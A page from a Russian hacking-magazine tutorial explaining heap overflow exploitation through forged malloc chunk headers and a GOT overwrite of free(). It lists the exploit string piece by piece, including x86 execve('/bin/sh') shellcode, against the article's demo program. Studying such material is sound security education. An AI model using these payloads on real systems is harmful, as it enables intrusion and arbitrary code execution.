Переполнение буфера в heap. Серия вторая

kas1e

Xakep, номер #059, стр. 059-074-3


| 2. непосредственно место под переменную | - 1-й malloc в 60 байт

| 3. адрес окончания аллоцированного куска |

|-------------------------------------------|

| 1. начальные данные malloc |

| 2. непосредственно место под переменную | - 2-й malloc (чтобы

| 3. адрес окончания аллоцированного куска | указать границу первого)

|-------------------------------------------|

Мы запихиваем в первый буфер больше, чем определили, в итоге у нас перезаписывается адрес окончания буфера. После этого функция free() берет этот адрес и направляется с ним либо прямиком в segfault, либо туда, куда мы покажем. Вот, в принципе, и все переполнение в heap (конечно, сказано несколько грубо). Далее нам остается лишь поставить нужный адрес в то место, где после буфера находится указатель на окончание аллоцированных данных, и запихнуть в буфер код, дающий нам шелл.

Непосредственно эксплоит мы напишем в двух вариантах. Первый будет немного необычный, но зато очень понятный и требующий от тебя только базовых знаний. Второй идет в виде дополнительного бонус-пака к статье. Он пригодится тем, кому лень писать что-то с нуля.

Итак, допустим, у нас есть куча буферов, созданных malloc'ом. Для реализации этого примера подойдет вышеописанный код. Единственное, что надо скорректировать в нем - добавить третий буфер. В первый у нас пойдут аргументы, во второй и третий запихнем всякого хлама. Т.е. мы переполним chunk информацию у второго и третьего буфера. Я не буду расписывать до мельчайших подробностей каждый байт, поэтому местами придется подумать. Эксплоит будет просто одним большим аргументом, в котором у нас будут байты для переполнения, чанковые обманы malloc информации и непосредственно сам код (в нашем случае shellcode). Представим, как же мы будем строить этот суперэксплоит:

1. Сначала пойдет 60 байт хлама для переполнения буфера:

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

2. Далее идет поле размера предыдущего буфера (-16) - 0xfffffff0:

"\xf0\xff\xff\xff"

3. После поле размера чанк области у второго буфера - 0xfffffffc:

"\xfc\xff\xff\xff"

4. 8 байт хлама:

"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"

5. 2 safe указателя по 4 байта (тот же хлам):

"\xfc\xff\xff\xff\xfc\xff\xff\xff"

6. Теперь самый важный момент - это GOT указатель на free(). Из него мы должны вычесть значение 12 (0xC). Грепаем уязвимую программку на адрес free(), вычитаем 12 и записываем. У меня получилось значение 0x0804978c. Соответственно: free(0x804978c)-12(0xc)=0x8049780. Запишем:

"\x80\x97\x04\x08"

7. Адрес на наш шеллкод. У меня на тот момент было 0x0804982f:

"\x2f\x98\x04\x08"

Надо заметить, что это адрес на следующую инструкцию, поскольку будет еще 12 байт хлама, которые надо перепрыгнуть. Фактически, это адрес на jmp.

8. jmp на "настоящий шеллкод":

"\xeb\x0c"

9. 12 байт мусора:

"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"

10. Непосредственно асмовый код. У нас это и есть шеллкод:

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Теперь все это объединяется в одну строчку и передается как 1 аргумент в уязвимую программу:

Назад на стр. 059-074-2  Содержание  Вперед на стр. 059-074-4